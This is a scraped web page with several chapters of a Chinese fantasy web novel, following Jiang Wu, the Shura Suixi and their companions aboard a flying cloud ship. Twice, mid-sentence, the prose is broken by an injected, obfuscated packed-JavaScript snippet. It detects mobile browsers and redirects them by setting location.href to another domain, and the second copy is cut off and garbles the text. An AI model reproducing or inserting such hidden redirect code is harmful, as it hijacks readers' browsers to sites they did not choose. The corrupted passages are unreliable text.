睢羲感觉体力与戾气正在回流,身体却依旧虚弱无法突破柏雨的禁制,“你本就不欠我们什么,濯濯当初救你时,本就不图你有朝一日的回报。柏雨,解开我的禁制,你不该救我,你不是想活吗?” 柏雨勾唇笑着,临死之前她想自私一次,她看向睢羲的目光中带着浓浓的不舍与眷恋,“大人,就当你欠我的。你说爱不能是牢笼,但我要死了,小小的困住大人一下也无碍吧。” 睢羲沉默。 柏雨抬头看向天空的繁星天河,自顾自地说:“大人,你说修罗死后会变成什么?” 睢羲问道:“你喜欢什么?” 柏雨的笑容恬静,她将手伸向夜空,试图去触摸夜空中的繁星,“我喜欢星星,当无幻之境不吹风时,天上的星星是最好看的。” 睢羲应了一声,“修罗死后会变成天上的星星。” 柏雨闻言,双眸中啜满了泪水,“那便太好了,我会变成天上的星星,每当夜晚来临,我都能看得到大人。” 夜色褪去,天光一线,恍若银瓶乍破,紧接着晨光万道,映得天上的星星逐渐失去光芒。 百衢落在了树枝上,他看着东方逐渐升起的初阳,修罗死后化作的繁尘在阳光的映照下与星星无疑。 “人族有句话,叫做珍惜眼前人。”百衢垂眸看着树下的睢羲,“柏雨是个好姑娘,你不该追着濯濯把自己搞成这样,害她丢掉性命。” 睢羲仰头靠在树干上,无力地说:“没有濯濯便没有今日的我。” 百衢反问道:“没有柏雨,昨夜你便会死了,也没有往后的你。而且你护濯濯千百万年,即便是这样也还不够吗?我们现下所遭遇的,无幻之境之所以被封印,包括你现下所受的一切痛苦,甚至这封印的三百多年来,得了疯病的修罗愈来愈多,不都源自于濯漪吗?如果不是因为她擅自招惹了段怀野,怎会有如今的一切?!难道还不够你偿还她当年对你的恩情吗?” “不够。” “你非要搭上自己的命才可以吗?”百衢气极,他起身怒视着睢羲,“枉费我识你如此之久,竟也未看清你居然是个为了女人而放弃一切的人。你若愿意,只需招招手,有的是女人前仆后继,即便如此,你还是要义无反顾?真是执拗。” 睢羲站起身,偏白的长发从肩头顺着墨袍垂落,语气淡然,“是又如何?同你无关,你若是火气大便去天河里泡泡。” “你少转移话题,不过也是,谁得到了濯漪会轻易放手呢,怕是只有傻子吧。”百衢勾唇冷笑,“你都这副模样了,还要去找濯漪?我就不明白了,当初你们是怎么在我眼皮子底下搞到一起去的?” 睢羲不语,转身向房中走去。 百衢见状长舒了一口气,神情变得极其的轻松,朗声道:“睢羲,本来还想着以后我若是疯了癫了,由你来杀我,现下看来还是我先帮你收尸吧。” 百衢捏了捏眉心,随口抱怨道:“无幻之境的疯修罗真是越来越多了,你不在,我处理起来真是麻烦。” 60. 启程 【云舟渡口】 白日当空,流云若丝,春风轻抚着,柳絮似雪般纷飞。云舟渡口位于荆州城外三百里的明水山口,人来人往,热闹非凡,成群结队的商人招呼着人往云舟上搬运货物,乘坐云舟的不仅有结伴出行友人,还有一些带着一众仆人的达官显贵。 姜芜持伞同萧高瞻四处漫步,她有些疲惫地捏了捏眉心,“你有话想同我讲?” 萧高瞻颔首,他停下脚步,神情认真地看着姜芜,“小嫂嫂,我想知道有关于我大哥的一切。” 姜芜抬手打住萧高瞻的话,“我不是你的嫂嫂,我跟你大哥没有任何关系,跟我有关系的是附身在你大哥身体里的修罗。你从前也知晓你大哥身中剧毒,但是他活下来了,你不觉得反常吗?” 萧高瞻面色一顿,仍旧不死心地问道:“就不能是我大哥吉人自有天相吗?” 姜芜有些无奈地叹了一息,随后她从袖袋中取出一柄匕首,“高瞻,别再自欺欺人了,而且这是你们的家事。” 萧高瞻垂眸看着姜芜手中的匕首,随即抬眸震惊又不解地看着姜芜,“你这是何意?” 姜芜问道:“你想做何事?成大事者,不拘小节,盼你也多可怜可怜萧蔚的一片痴心。” 萧高瞻嗤笑一声,他伸手接过姜芜手中的匕首,“谁又来可怜我呢?” 姜芜说:“嗯,我不插手你们的家事。” 萧高瞻深深地吐出一口浊气,“那个附身我大哥的修罗叫什么名字?” “睢羲。” 雾沅仰头看着漂浮在半空中的云舟,脸上露出微微惊讶之色,他听过商扶庭对于炼器之术的见解,却不曾想到居然如此壮阔。 寂满震惊地看着面前的巨型云舟,震惊地说:“哇,这飞行器好大啊,真的能飞得起来吗?这样人族岂不是不用修仙也能在天上飞了?” 雾沅见姜芜持伞静静地立在不远处,于是便走上前问道:“在想何事?” 姜芜抬眸看了云舟一眼,神情恹恹地说:“在想何时能进云舟睡觉。” 雾沅忍俊不禁,“昨晚没休息好嘛?” 姜芜轻轻点了点头,“还可以,但还是觉得很疲惫。” “禁制的事情不必担忧,等商扶庭将越迦柯的修为全部吸纳之后,自然可以替你解开。”雾沅说,“你也不必过于忧愁,莫要被睢羲的花言巧语所骗,他在萧家骗了很多人。” 姜芜应了一声,“解与不解都无所谓了,反正我的眼睛现下能够看清,而且以后有你们,有些事情便不需要我出手解决。” 雾沅蹙眉,若不是他知晓姜芜同五行道宗签有血契,不找全修复无幻之境结界的圣物不会解开,险些以为她说出这番话的是要离开。 雾沅觉得自己越发得看不清姜芜,索性不再去深究,他幽幽地叹了一息,从袖袋中取出一枚清洗干净的蜜桃递了过去,“先吃些桃子。” 姜芜看着那颗水润泛红的桃子,身上的疲惫少减,她伸手接了过来,“谢谢。” 萧无咎将五块木牌交给商扶庭,“这云舟是萧家在维持,也是前往其他各地最快的工具,几位若前往冀州,坐云舟是最方便不过的。” “早些年便听闻萧氏在筹划大型的飞行器,没想到进展如此之快。”商扶庭接过木牌,持太初剑施礼,“萧师兄有心了,谢过萧师兄。” 萧无咎颔首,“后会有期,一路多保重。” 商扶庭说:“后会有期。” 五人送别萧高瞻和萧无咎后,云舟上响起来启程的号角声,于是一众人便收拾行囊准备登船。 “等等!等等我!神仙姐姐!等等我!” 宗华身上挎着个小背包,一路从远处狂奔而来,一边跑还一边朝着姜芜招手。 寂满闻声定睛一看,暗道不好,“他怎么也跟着来了?那他那个鬼族人哥哥岂不是也一起?!” “神仙姐姐!” 宗华兴致冲冲提着衣摆飞快地跑上舷梯,脚下一个踉跄险些摔倒,被沈确眼疾手快地提了起来。 宗华拍着胸口长舒了一口气,拱手行礼,“谢谢阿确。” 寂满上前问道:“你跟着来做何事?你哥呢?他知不知道?” 宗华说:“我偷着来的,我哥哥不知道。” 寂满震惊地瞪大了双眸,“你疯了,万一你哥追上来找我们麻烦怎么办?” 宗华摆了摆手说:“不会的,他应该不知晓我来找你们了。” 寂满双眸一眯,装作一脸高深莫测,“除了我们,你还有其他认识的人?” 宗华一愣,他神情羞赧地挠了挠头发,后知后觉地支吾道:“这……好像我也不认识其他人了。” 姜芜从钱袋中取出一块碎银子,抬手递给了雾沅,“帮他补张船票吧。”说完,她便送商扶庭的手中随意地取了块木牌,按照上面的信息去寻自己的房间。 宗华见状也不再招惹姜芜,而是恭恭敬敬地朝着雾沅施礼,“谢过这位兄台,有劳了。” 寂满问道:“你说你跟我们非亲非故,不认不识的,你跟过来做何事?” 宗华笑着说:“我当然是跟着神仙姐姐来的。” 寂满嘲笑道:“神仙姐姐?你可知道我们都是些什么人?你的那位神仙姐姐可是大修罗,你不怕被她吃掉吗?” 寂满突然脸色一变,朝着宗华做了个吞吃的动作来吓唬他。 宗华面色惊惧,他指了指寂满,又指了指雾沅,“我自然知晓你们是什么,我从小便能看到常人所看不到的,比如你是一条大黑蛇,他是一只小蝴蝶。” “黑蛇黑蛇,什么黑蛇,我是蛟!头上长角!才不是什么大黑蛇!”寂满看着来来往往的人,压低了声音威胁宗华,“他也不是什么小蝴蝶!你信不信我俩能把你吃了!” 沈确神情一愣,看向宗华的眼神中多了几分探究。 宗华连连点头,“信了信了,蛟,大黑蛟。” 寂满勾起唇角,得意地哼了一声,“知道便好,你怎么还不去找你的神仙姐姐,她都走了这么久了。” 宗华看了一眼姜芜离开的方向,嚅嗫道:“但是她好像心情不太好。” “嗯?有吗?”寂满困惑地看了看其余人,“姜芜心情不好吗?” 众人面面相觑,沉默不语。 姜芜推开房门,将木牌随手挂在进门的木施上,随后打开了房间内的窗户,云舟在平稳地前行,核心供能处发出轻微得嗡鸣声,流云时不时会通过窗户而卷进房间。 姜芜将遮阳的纸伞收起放入伞筒中,侧身伏在窗棂上,一边吃着桃子一边用扇子扑着卷进来的云丝。 一穿着清凉的红衣女子突然落在了姜芜房间的窗棂上,金色的饰品随着她的动作响成一片,她一手扶着窗户的上方,面带笑意地看着姜芜,“原来真的是你,方才你登船的时候我便觉得像你。” 姜芜抬眸看了一眼宿凌薇,神情又惊又喜,她咬着桃子说:“原来是你啊,你怎么也从无幻之境内出来了?” 宿凌薇从窗外荡进姜芜的房间,坐在了对面的位置,她单手撑着脸看向姜芜,“当然是出来看看人间有没有你说的那么好。” 姜芜挥袖将茶具取出,着手煮水泡茶,笑着问道:“那你觉得如何?” “这么多年了,你还是喜欢喝茶。”宿凌薇见状笑着说,“这次就你一个人吗?也是,你独来独往惯了。” 姜芜抬眸看着宿凌薇,“你若是不喜欢喝茶,喝清水也可以。”说完,她将茶点瓷盘中放入了在荆州买的鲜花饼。 宿凌薇捻起一块鲜花饼,“这是什么?好吃吗?”说完,她便咬了一口,看到里面的鲜花蜜馅,震惊地瞪大了双眸。 “居然是鲜花哎,而且好甜啊。” 姜芜将瓷盘推向宿凌薇,笑着说:“这些都是你的。” 宿凌薇笑得意有所指,“你这个人,除了在睢羲的事情上,其他的都异常大方,这么好吃的东西居然都给我,何时要是把睢羲也让给我便好了。” 姜芜听到睢羲的名字只觉得胸口发麻,她堪堪维持住脸上的笑容,“你来人间真的只是出来玩的吗?” 宿凌薇笑得有些心虚,“不亏是濯濯,还是你最懂我,说实话我是出来躲灾的,前些时日喝多了在无幻之境内跟人一度春宵,谁知晓是百衢,太恶心了,所以我便出来散心了。” 姜芜冲茶的手一顿,随即面不改色地问道:“你要茶水还是清水?” 宿凌薇立刻道:“我要茶,但是有酒的话便更好了。” 姜芜从纳袋中取出一壶江心月,她极力压制着自己的唇角,“少喝一些,毕竟喝酒误事.......哈......抱歉,实在是没有忍住。” 宿凌薇睨了姜芜一眼,取过酒壶灌了一口江心月,“想笑便笑吧,这件事情确实好笑,我还未问你,怎么又和人族修士混在一起了?” 姜芜一边喝着茶,一边看向云舟外的光景,“那是五行道宗的修士。” “五行道宗?这个名字为何如此耳熟?”宿凌薇思索了片刻,随后恍然大悟地看着姜芜,“是段怀野创建的那个修真门派吧?这么多年了,足够他身为普通人投胎转世好几次了,你为何还念着他啊?” 姜芜刚要开口回答,房门便被人敲响,二人对视一眼,宿凌薇立刻翻出了窗户,矮身躲了起来。 “进来。” 商扶庭端着托盘进门,走进后将其中的水果放在了姜芜面前的桌上,“云舟上有卖新鲜水果的,给你送些过来,你方才有客人吗?” 姜芜半靠着凭几上,丝毫不意外商扶庭察觉到了宿凌薇留下的气息,毕竟他此时已经今非昔比,她也没有必要做一些无意义的隐瞒。 姜芜摇着手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448803|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的团扇,目光柔柔,毫不掩饰地看着商扶庭,“是啊,刚刚一个朋友见了我,来找我叙叙旧。” 商扶庭拿着帕子擦拭着水果上的露珠,神情毫无波澜,“是修罗吗?” 姜芜应了一声,神绪放空,唇角挂着一丝笑意,“嗯,一个很久不见的老朋友。” 商扶庭将水果放好,他端坐在姜芜对面,看着窗外的风拂过她的发丝,“少吃一些,马上便要吃午饭了。” 姜芜从桌上提了一串钟意的青提到面前,“何时能到冀州?” “大抵明日清晨。”商扶庭叮嘱道,“我了解到这艘云舟上会有许多前往并州的修士,所以你与你的朋友要小心。” 姜芜笑了一声,她抬眸看向商扶庭,“谁小心?我还是那些修士?我在荆州杀了那么多散修,总归不是我小心吧。” 商扶庭的眉心紧紧地拢了起来,他沉默不语地看着姜芜,面上愠色翻滚,片刻后缓缓地吐出一口浊气,“若是说一些让我生气的话,能让你心中好受一些,也可以。” 姜芜摘着青提的梗,将一颗颗饱满的青提放在瓷盘中,听到商扶庭的话有些不解地抬眸看了他一眼,“你多少有些莫名其妙了。” 商扶庭应了一声,随后走出了房间。 宿凌薇重新翻了进来,坐回了她的原位上,往口中掷着姜芜择好的青提,“方才那人是谁?” 姜芜说:“五行道宗的修士,你千万不要去招惹他,他现下修为突飞猛进,又有太初剑认主傍身,很危险的。” 宿凌薇伸长腿,舒展了一番蜷缩的身体,“我观他不过及冠模样,为了有如此之高的修为?” “机缘。”姜芜吃着青提,不以为然地说,“不过不用担心,躲着他走便好了。” 宿凌薇撇了撇嘴,“真是憋屈,出来玩还能碰到克星,要我说啊,便应该找人折了那把太初剑,让里面的亡魂早登极乐,也省了我们的麻烦。” 姜芜想起太初剑铸成之后的事情,附和着颔首赞同,“确实如此。” 宿凌薇看向姜芜,“对了,方才便想问了,你此行的目的是何处啊?” 姜芜如实道:“有位妖朋友想去跃天门化龙,前往冀州解决此事后,估计会前往并州。” “妖朋友?还有五行道宗的修士,那你这一路很精彩啊。”宿凌薇说,“去并州做何,现下那边可乱了,又是羽族又是长灵族又是妖的,打归打闹归闹,能不能不要再别人家门口啊,搞得像是普天之下修罗绝迹,让他们这些小喽啰在闹腾。” 姜芜勾唇,“百衢都不在意,你又为何如此挂心?” 宿凌薇心烦地说:“当然是见着心烦,我不过是路过看了那只烛九阴一眼,玃如便说我会同他交合,我有那么饥不择食吗?” 姜芜闻言挑眉,笑着说:“那你也很精彩,毕竟玃如知未来。” 宿凌薇义正言辞地反驳道:“那他看到的便一定会发生吗?我知晓了此事之后,更不会靠近那只烛九阴一步,这样他看到的未来还做不做数呢?” 姜芜若有所思地点了点头,“有道理。” 宿凌薇见姜芜赞同她的观点,开心地笑了起来,“是吧,我也觉得如此有道理。” 一道白色的人影从窗前略过,接着便是兵刃交接的铮鸣声,以及法术漩涡高速运转的气流声。 宿凌薇见怪不怪地说:“人族真是奇怪,兴致浓处便各种切磋,打过来打过去,有什么意思嘛。” 姜芜将凭几搬到一旁,侧身靠在了软垫上闭目养神。 宿凌薇见状关切地问道:“你怎么回事,方才便见你兴致不佳,发生什么事情了?需要我帮忙吗?而且你身上的戾气为何少得可怜?” “无事。”姜芜摇了摇头,“只是带孩子出门有些累而已,自作主张,不愿听话,甚至还有以下犯上的意图。至于戾气,用了点小手段暂时封起来了,方便在人间行走。” 宿凌薇毫无形象的大笑了起来,她一拍膝头,对着姜芜说:“怪不得呢?” 姜芜睁开双眸看着宿凌薇,“嗯?怪不得什么?” “你还不晓得吧。”宿凌薇故作神秘地说,“睢羲曾经便会怕你如此,也因着修罗不喜后代的缘故,还特意请教了一些长期固定伴侣的修罗如何避子。” 姜芜垂眸微笑,“你搞错了,我说的此孩子非彼孩子,只是年纪比较小的朋友而已,不过也不怨他们,只是我技不如人而已。” 宿凌薇见状起身绕到姜芜身侧,俯下身轻轻地拍了拍她的肩背,闻声说:“怎么了?他们欺负你了?我们修罗确实有些不受人族待见,但是我们也不待见他们是不是?罢了罢了,也不是所有人都像段怀野一般对你那么好。算了,你好好睡吧。”说完,她抖开薄被覆盖在了姜芜的身上。 姜芜睁开双眸看着宿凌薇,眼神空洞又迷茫,“段怀野对我好吗?” 61. 附身 宿凌薇看着姜芜眼睛突然滑落出的泪珠,神情有些讶然,她伸出手轻轻拭去,“他死了你很难过吗?” 姜芜的意识有些恍惚,下意识地点了点头,眉心也跟着拢了起来,“我很难过。” 宿凌薇从未见过姜芜如此悲伤的神态,不禁伸手摸着她的头发安慰,“那他对你真的很重要啊,这么多年了,你还没有接受吗?我们的生命很漫长的,你要学会接受,一时半刻可能难以忍受,但是时间一久,慢慢便会接受了,所以不要难过太久。” 姜芜蜷缩起身体,妄图窃取一些暖意,开口嚅嗫道:“这么多年了,我似乎确实没有想过接受。” 宿凌薇浅浅一笑,“睡吧,睡一觉便好了。除了你,我还没见过段怀野那个臭道士还对谁那么好过。” 姜芜应了一声,她拨弄着腕子上带着大量烧焦痕迹的手绳,几颗灰色的小石子中藏着流光之色,这条手绳明显比她的腕子大了几圈。 姜芜为了手绳不会随着动作在她不知情之下脱落,特意用绸带缠了几圈,余外的绑在腕上绑好,她缠得很紧,腕子处的皮肤都勒出了褶皱。 宿凌薇起身将窗户关上,轻手轻脚地合上门走了出去。 姜芜睡醒后正值黄昏,她抿了口凉茶醒神,起身推开半合的窗户,晚风徐徐,云舟上点了灯,人声鼎沸,热闹非凡,货郎背着货架,几个孩童围在他的周身跑动,空中遍布各种吃食的香味。 “姜芜,醒了吗?” 雾沅的声音从门外传来。 姜芜应了一声,“醒了,有事吗?” “今日是除夕,这是云舟上准备的黄米红枣年糕和八宝饭。”雾沅端着吃食推门而入,“还不曾点灯,是刚醒吗?” 姜芜掀开身上的薄被,取过凭几靠在上面,懒洋洋地取过勺子吃些碟中的八宝饭。 雾沅将蜡烛一一点燃,“仔细些,可能有红枣核未剔除干净。” 姜芜应了一声,八宝饭还是热的,各种米与粽子裹了红枣蜜饯一同蒸,出锅后淋了微甜的蜂蜜,吃起来也不算太腻。 雾沅坐到姜芜对面,关切地问道:“不够的话还有。” “够了。”姜芜放下手中的勺子,拿出事先准备好的红色荷包放在桌面上,“压岁钱,你拿去分给他们吧。” 雾沅看着那几只鼓鼓囊囊的红色荷包,心中五味杂陈,“是前几日同寂满出去时买的吗?” 姜芜低头吃着八宝饭,“是啊,我又不会绣工,难不成还要给你们缝制吗?” 雾沅收起荷包,笑容温柔,“谢谢,这是我第一次收到压岁钱。” “不用客气。” 姜芜吃完了八宝饭,又取了块炸过的黄米红枣年糕,酥脆的外壳泛着淡淡米糊味,里面软和弹牙,红枣又香又甜,带着丝丝的苦味。 姜芜睡足了觉,又填饱了肚子,才觉得身上的沉重消散了一些,她看着雾沅动作娴熟地刷杯冲茶。 “还有其他的事情?” 雾沅摇了摇头,将一杯沏好的茶放在她面前,“陪你坐会。” 姜芜笑了一声,正准备开口便看到寂满和宗华举着烟花风风火火地跑了进来。 “神仙姐姐,下来跟我们一起放烟花啊。” “雾沅,不是让你去喊人吗?怎么这么慢啊?快走快走,在房间里坐着有何好玩的?!” “马上便来。”雾沅起身看着两人又跑了出去,转身对姜芜说,“出去透透风吧,总要向前看。” 姜芜笑了一声,她起身推开凭几,从罗汉床上下来穿鞋,“让你们一个两个说得像是天要塌了一般。” 雾沅蹙眉,“即便是抛开一切,你们也相知相伴了很久不是吗?你心中难过,这再正常不过了,我能理解。” 姜芜穿好鞋子缓缓起身,她的精神状态好了不少,她抬眸看着雾沅,笑吟吟地说:“你身为一只妖,道理懂的很多,你觉得我同你们关系如何?” 雾沅心中虽有不解但依旧回道:“你性格温和,同所有人都能处得很好。” 姜芜面色笑意更深,继续循循问道:“我同睢羲相知相伴了很久是吗?” 雾沅颔首,他看着姜芜脸色的笑容,密密麻麻的恐惧爬上了心头,他觉得后背有些僵硬甚至是发麻,这是他唯有遇见天敌时才会有的感觉,而姜芜就只是静静地站在那里,站在烛光的边缘,没有任何动作,任凭明暗两种颜色因为风吹烛火而在她面上变幻。 姜芜脸上带着漂亮的笑容,看起来人无畜害,却让雾沅有一种深陷蛛网难以挣脱,只能看着蜘蛛爬过来吞食掉自己的恐惧感。 “是。” 姜芜继续道:“但你们还是去招惹他,杀了他,甚至他从未同你们结仇生怨,只是因为他的强大让你们感到恐惧。” 雾沅面色凝重,解释道:“我们……我们当时只是自保,是他要杀我们,而商扶庭突然如此也只是一个意外。” 姜芜深深地吸了一口气,重复问道:“我同睢羲相知相伴了很久是吗?” 雾沅攥紧双拳来扼制发抖的手指,他不明白姜芜又重复一遍问题的意义,“我不懂。” 姜芜勾唇轻笑了起来,语气平和,“没事,出去放烟火吧。睢羲若是真想杀谁,没人能从他手底下活着逃走的。”说完,她便转身向门外走去。 雾沅身体脱力,他后退着坐在了罗汉床上,长长地吐出了一口浊气,密密麻麻的冷汗在一瞬间从他的额头上冒出,他合眸定神,无暇顾及粘湿睫毛的冷汗。 雾沅也不知晓睢羲是否真的会杀死他们,毕竟对上强敌只能以死相搏,这样才有机会逃出生天,谁也不知晓强敌是否会手下留情。 他们相信姜芜,却不相信睢羲。 寂满放完了烟花,便同宗华一起在甲板上看皮影戏,素锦屏风竖起,在其后点燃一支蜡烛,旁侧敲锣打鼓地响着应景的曲调,皮影人便支着色彩斑斓的皮影上了台。 寂满兴致冲冲地看着皮影戏,偏头问身侧的宗华,“你们人间的这些小玩意真有趣,这些你之前都见过吗?” 宗华颔首,“见过,我之前都是跟着我娘长大的,每逢佳节不仅有皮影戏,还有舞龙舞狮。之后,我哥哥才找到了我。” 寂满问道:“那你娘呢?” 宗华当放下了鼓掌的手,抿了抿双唇,神情暗淡,“去世了。” “嗯?”寂满有些诧异,“我听我父亲说过,长灵族是妖族同精灵的后代,寿命应该很长才是,为何……” 寂满偏头看了宗华一眼,见后者闷闷不乐的模样,用手肘抵了抵他的肩膀,“别往心里去,我说错话了,引起了你的伤心事,给你赔不是。来,继续看皮影戏。” 宗华摇了摇头,“没事,这是长灵族的秘辛,生育会让长灵族的女人生命消散。” 寂满蹙眉,“阴阳结合,繁衍生息是天地法则,怎么还有如此荒谬的秘辛?!” 宗华笑容苦涩地摇了摇头,“我也不知晓,所以我娘只陪了我十六年,今年还是我第一次自己过除夕呢,之前都会有父亲、母亲还有哥哥陪我。” 寂满想起自己远在大荒的母亲,感同身受地拍了拍他的肩膀,“没关系,我这也是第一次自己过年。还好有你们,今年即是自己一个人过年,也是同好朋友一起过第一年。” 宗华笑着点了点头,心中却有一丝挥之不去的失落,“嗯,是同好朋友一起过的第一年,看皮影戏吧。” 寂满问道:“你还没同我讲,你为何追着我们上了云舟呢?你应该很想同你哥哥、父亲一起过年了吧?” 宗华憨笑着说:“我是来找神仙姐姐的。” 寂满威胁道:“模棱两可的,不愿意说便不说吧,不要耍什么花招,当心我让你吃不了兜着走!” 宗华脖颈一缩,“放心,放心,我不会耍花招的!” “看戏吧。” 寂满入迷一般地看着,时不时同周围人一起发出喝彩声,随着一声秦腔号子,他越发得感觉这皮影戏的诡异之处。 宗华见寂满呼吸有些急促,立刻拍了拍他的肩膀,出声呼唤道:“你怎么了?” 寂满猛地吸了一口气,如同溺水之人突然获救,大口大口地喘着粗气,他惊魂不定地看着四周,“我突然……我突然想起一件事情,你待在这里不要乱跑。” 寂满叮嘱了宗华以后,急匆匆地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寂满想起小时候的事情,面上阴云遍布,随口敷衍道:“没事,我做噩梦了,发癫而已。” 青衣女修蹙眉,“以后莫要开这种玩笑。” 寂满翻了个白眼,“分明是你自己神经紧张,你是没有做过噩梦还是没有梦到过妖怪?” “你这小儿,我分明是为了你好,你倒是倒打一耙,狼心狗肺的东西。”说完,青衣女修拂袖而去。 雾沅上前笑着问道:“这样是否能证明我不是睢羲?” 寂满伸手指着雾沅,低声警告道:“你若是把这件事情说出去,我就!” 雾沅安抚道:“好了,言归正传,是你让我证明的,这番证明是否可以?” 寂满咬牙切齿地笑着,“那可太能证明了。” 雾沅看向宗华,“但是我们不能向他求证,他也无法向我们证明。但是,我觉得睢羲应该是死了,姜芜的状态给我的答案。” “姜芜?”寂满四下寻找着姜芜的身形,“你确定吗?她不是跟从前一般吗?而且她的戾气被封印,那晚又是被雷劈,又是自断经脉,也不知晓睢羲有没有帮她疗伤,而且昨日又大战群雄,受得伤也不轻,饭也没吃多少,休息不好也会状态不佳吧。” 雾沅若有所思地说:“但愿睢羲已经死了吧,如果他真的附身于我们其中的一人,那样也太危险了,不过也不能放松警惕。” 姜芜在船尾处找了一处寂静无人的地方,盘膝坐了下来,开始吸纳着天地之间的灵气来治疗自己身上的伤痛。 “原来你在这里啊,你身上戾气如此稀薄,寻你都费劲。”宿凌薇拎着两坛酒走到姜芜面前,“需要我帮你做些何事?比如给你一些戾气?” 姜芜伸手接过酒坛,小口啜饮着其中的酒,扬唇笑着,“倒也不必如此,只是我心口处有一枚噬魂骨钉,取出有些麻烦,上面有一些秘术,似乎会让我被施咒者所控制,能帮我看一下如何取出吗?” 宿凌薇说:“若是你不怕疼,我可直接帮你取出试试,但是这种东西往往只有施咒者才能取出,谁能伤你至此,而且你为何不去找施咒者?” 62. 羽族 姜芜剥衣襟的手一顿,面上的笑容有一丝微不可查的僵硬,“因为施咒者已经死了。” 宿凌薇不疑有他地应了一声,“走吧,回房间吧,这里不太合适。” 姜芜颔首。 宿凌薇合上房门,转而又去关好窗户,这才着手去检查姜芜身上的伤口,她看着姜芜把身上的外袍脱下,又解开中衣的衣带,露出心间血迹斑斑又红肿的伤口。 “这么严重?你痛不痛?”宿凌薇目光柔软,神情怜惜,“看样子时间应该不短了,这种异物在心间,日日磨损着周围的皮肤,伤口难以愈合,施咒者未免也太狠心了。” 姜芜抿了一口苦涩的凉茶,想起睢羲心间不断溃烂的伤口,日复一日地折磨了他三百二十八年,无穷无尽,不死不休。 “不痛。”姜芜摇了摇头,“都是我欠他的。” 宿凌薇蹙眉,“濯濯,你不能如此不爱惜自己,即便他已经死了,人死如灯灭,恩恩怨怨一笔勾销,你不能把所有的错误后归结于自己的身上。修罗没有转世,人类虽然渺小,但是灵魂经过洗涤后可再次轮回,这是娲皇的馈赠,但是转世以后如何确定还是他呢?” 姜芜蹙眉,有些不解地看着宿凌薇,“你……” “姜芜!” 商扶庭从外将房门推开,宿凌薇闻声迅速移步挡住姜芜,并朝他打了一道戾气。 “不知道要敲门吗?人族不是最讲礼节的吗?男子可以随随便便进女子房间吗?” 商扶庭迅速垂下眼眸,伸手将房门关了上来,“姜芜,我有要紧事寻你,我在外面等你,你先忙。”说完,他转身背对着房门,脑海中一抹白,难以挥散。 商扶庭甩了甩头,手中紧握着太初剑,面色阴沉地向自己的房间走去。 宿凌薇愤愤不平地道:“混账东西!” “先不谈那个了。”姜芜抬眸看着宿凌薇,“你先帮我看看能否取下,若是不能便看看上面是何等秘术。” 宿凌薇颔首,她伸出手按压着姜芜的伤患附近,用帕子擦掉渗出来的血水,指尖冒出丝丝缕缕的黑色戾气,恍若有生命一般钻入噬魂骨钉和皮肉之间的缝隙处,全方位包裹住那枚钉子,缓缓地向外拖拽。 戾气、皮肉、噬魂骨钉三者之间依靠着血液的润滑发出令人难以忽视的摩擦声。 姜芜被猝不及防的疼痛扯得轻哼一声,她伸手按住宿凌薇的手腕,咬着嘴唇忍耐了片刻,“别停,看看能不能拔出来。” “不可,骨钉禁锢着你的心脉,若是非施咒者强硬取出,会扯碎你心脏,但是我可以用戾气直接摧毁它,不过后续要将碎片从其中挑出。”宿凌薇说,“上面的秘术很特别,像是能够减缓你的疼痛,增强了压制气息的力量,除了戾气应该还能压制咒术、契约之类,封印禁锢的作用,你之所以被施咒者所控制,应该是符文是用施咒者的心头血所绘制而成。” 姜芜冷汗津津,她小口小口地呼吸着,求证般地看向宿凌薇,“施咒者的心头血?但是施咒者已经死了,为了咒术还不能解开?莫非……他还活着?” 宿凌薇看着姜芜双眸中突然亮起的光,迟疑地点了点头,“有可能,但也可能是施咒者过于强大,还有可能这本身便是死咒,但是我看不全面,也不知晓这是人族的咒术,还是修罗族的咒术。” 姜芜敛眸,存了将噬魂骨钉留在体内的想法,“那暂时先算了吧,左右也无甚大碍。” 宿凌薇问道:“濯濯,你还未曾告诉我,是谁将这枚绘制了秘术的骨钉打入你的心口的?是段怀野吗?” 姜芜摇头否认,用帕子擦干了心口的血迹,随后伸手将中衣拉上,系好衣带。 宿凌薇仰头灌了一口酒,她单手撑着下颌,看着姜芜将木施上的衣服取下穿戴整齐,神情不解地问道:“那会是谁?不会是睢羲吧?话说,你们真的闹僵了吗?为了段怀野?” 姜芜整理衣襟的手一顿,她抬眸看向宿凌薇,“你听谁说的?” 宿凌薇不以为然地说:“百衢啊,除了他,无幻之境内还有谁知晓你俩的事情。不过也无所谓了,吃了这么多年的梨,也该换换苹果不是吗?况且是谁规定要一直吃梨才可以的?不过苹果也好,梨也罢,自己开心最重要不是吗?你也不必因为摔坏一个苹果,或者是弄坏一个梨让自己深陷囫囵,整日郁郁寡欢,不得开心颜。” 姜芜笑着应了一声,她迅速整理好衣摆,“今夜谢谢你了,我现下有些事情,暂时无法陪你了,这两盒点心即是谢礼也是赔礼。” 宿凌薇脸上的笑容更浓,“哎呀,什么谢礼赔礼的,我终于发觉到人族的礼节的妙处了,别看人族未必遵守那些稀奇古怪的条条框框,但是我总能因着这些条条框框从你这里得些稀奇玩意。” 寂满见姜芜从房间内走出,立刻迎了上去,“你忙完了?” 姜芜发觉寂满脸色有些不对劲,随口问道:“这么着急,发生何事了?” 寂满欲言又止地看着姜芜,又焦急地伸手挠了挠头发,“哎呀,怎么说呢,你先来小道士的房间吧,我不知道该怎样和你说,这件事也是我刚刚才发觉的,所以我们现下想问问你的看法。” 姜芜笑了一声,“那便走吧。” 寂满推开商扶庭的房门,姜芜看到了除去宗华在内的所有人,雾沅煮着茶同沈确围坐在桌前,商扶庭抱剑在窗边望着甲板上的热闹与繁华出神。 